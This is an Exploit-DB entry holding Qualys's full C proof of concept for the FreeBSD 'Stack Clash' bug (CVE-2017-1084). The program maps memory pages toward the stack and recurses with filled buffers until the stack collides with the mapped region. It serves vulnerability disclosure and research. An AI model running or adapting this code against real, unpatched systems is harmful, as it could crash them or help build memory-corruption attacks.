FreeBSD - 'FGPE' Stack Clash Proof of Concept

EDB-ID: 42278
Author: Qualys Corporation
Published: 2017-06-28
CVE: CVE-2017-1084
Type: Dos
Platform: FreeBSD_x86
Aliases: Stack Clash
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

  * FreeBSD_CVE-2017-FGPE.c for CVE-2017-1084 (please compile with -O0) 
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/time.h>

#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)

static const char * last_page;

static void
alloc(const char * const final)
{
for (;;) {
last_page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (last_page == MAP_FAILED) die();
if (last_page >= final) break;
}
}

static void
clash_smash_no_jump(const size_t smash_size)
{
char buf[1024];
memset(buf, 'A', sizeof(buf));
if (smash_size > sizeof(buf))
clash_smash_no_jump(smash_size - sizeof(buf));
}

#define SGROWSIZ ((size_t)128UL*1024) /* amount to grow stack */

int
main(void)
{
static const struct rlimit core;
if (setrlimit(RLIMIT_CORE, &core)) die();

struct rlimit stack;
if (getrlimit(RLIMIT_STACK, &stack)) die();
const size_t smash_size = stack.rlim_cur / 3 * 2;
const size_t final_dist = arc4random() % smash_size;

alloc((const char *)&stack - final_dist);
clash_smash_no_jump(smash_size);
printf("char at %p: %02x; final dist %zu (%zu)\n", last_page, *last_page, final_dist % SGROWSIZ, final_dist);
exit(EXIT_SUCCESS);
}

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